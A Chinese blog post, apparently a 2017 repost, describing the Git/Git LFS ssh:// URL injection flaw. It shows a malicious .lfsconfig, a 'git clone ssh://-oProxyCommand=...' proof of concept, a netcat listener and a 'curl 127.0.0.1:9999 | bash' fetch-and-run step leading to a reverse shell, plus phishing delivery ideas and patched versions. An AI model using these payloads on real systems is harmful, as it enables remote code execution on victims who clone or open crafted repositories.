首页 > 其他 > 详细

Git命令执行漏洞

时间:2017-08-12 21:55:56      阅读:388      评论:0      收藏:0      [点我收藏+]

Git命令造成的反弹shell

 

漏洞描述:

  Git LFS可以.lfsconfig使用LFS由存储库中的文件配置(部分),并且可以将Git LFS指向ssh://。

[lfs]
    url = ssh://-oProxyCommand= some-command

  当使用这样的.lfsconfig文件克隆存储库时,使用LFS插件的Git将尝试调用ssh以从主机获取LFS对象 -oProxyCommand=some-command。然而,SSH会将该主机名解释为一个-o选项,并随后尝试调用some-command以建立连接。

  这样的话,可以通过克隆存储库的Git LFS客户端的精心设计的存储库来执行任意命令。

 

  通过在新项目中导入存储库,ssh://可以在GitLab主机上执行URL服务器端代码执行。

 

利用方式:

  远程钓鱼,社工

  恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码。

 

漏洞证明:

   反弹计算器

git clone ssh://-oProxyCommand=gnome-calculator/wat

 技术分享

 

  进一步利用

 

  本机测试环境

  先建立监听

nc -vlp 9999

  利用git clone 获取镜像库

git clone ssh://-oProxyCommand=‘curl 127.0.0.1:9999 | bash‘/xx

命令被成功执行

 技术分享

 

建立连接之后,尝试执行反弹shell命令,同时监听新的端口,完成反弹shell。

 技术分享

 

 

漏洞修复建议(或缓解措施):

 

Git:升级到Git v2.14.1版本

Apache Subversion:升级到Subversion 1.8.19、Subversion 1.9.7版本

Mercurial:升级到Mercurial 4.3 and 4.2.3.版本

 

 

参考文章:

https://help.aliyun.com/knowledge_detail/57887.html

http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67

Git命令执行漏洞

原文:http://www.cnblogs.com/zhaijiahui/p/7351594.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!